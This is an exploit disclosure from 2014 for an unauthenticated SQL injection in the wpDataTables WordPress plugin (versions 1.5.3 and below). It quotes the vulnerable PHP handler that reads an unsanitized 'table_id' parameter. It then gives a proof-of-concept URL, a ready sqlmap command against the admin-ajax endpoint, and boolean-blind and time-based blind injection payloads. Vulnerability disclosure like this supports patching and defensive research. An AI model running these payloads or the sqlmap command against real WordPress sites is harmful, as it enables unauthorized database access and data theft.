?######################
# Exploit Title : Wordpress wpDataTables 1.5.3 and below SQL Injection Vulnerability
# Exploit Author : Claudio Viviani
# Software Link : http://wpdatatables.com (Premium)
# Date : 2014-11-22
# Tested on : Windows 7 / Mozilla Firefox
Windows 7 / sqlmap (0.8-1)
Linux / Mozilla Firefox
Linux / sqlmap 1.0-dev-5b2ded0
######################
# Description
Wordpress wpDataTables 1.5.3 and below suffers from SQL injection vulnerability
"table_id" variable is not sanitized.
File: wpdatatables.php
------------------------
// AJAX-handlers
add_action( 'wp_ajax_get_wdtable', 'wdt_get_ajax_data' );
add_action( 'wp_ajax_nopriv_get_wdtable', 'wdt_get_ajax_data' );
/**
* Handler which returns the AJAX response
*/
function wdt_get_ajax_data(){
$id = $_GET['table_id']; <------------------- Not Sanitized!
$table_data = wdt_get_table_by_id( $id );
$column_data = wdt_get_columns_by_table_id( $id );
$column_headers = array();
$column_types = array();
$column_filtertypes = array();
$column_inputtypes = array();
foreach($column_data as $column){
$column_order[(int)$column->pos] = $column->orig_header;
if($column->display_header){
$column_headers[$column->orig_header] = $column->display_header;
}
if($column->column_type != 'autodetect'){
$column_types[$column->orig_header] = $column->column_type;
}else{
$column_types[$column->orig_header] = 'string';
}
$column_filtertypes[$column->orig_header] = $column->filter_type;
$column_inputtypes[$column->orig_header] = $column->input_type;
}
------------------------
(The vulnerable variable is located in others php files)
######################
# PoC
http://TARGET/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1 [Sqli]
# Sqlmap
sqlmap -u "http://TARGET/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1" -p table_id --dbms mysql
---
Parameter: table_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=get_wdtable&table_id=1 AND 9029=9029
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: action=get_wdtable&table_id=1 AND SLEEP(5)
---
#####################
Discovered By : Claudio Viviani
http://www.homelab.it
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
#####################
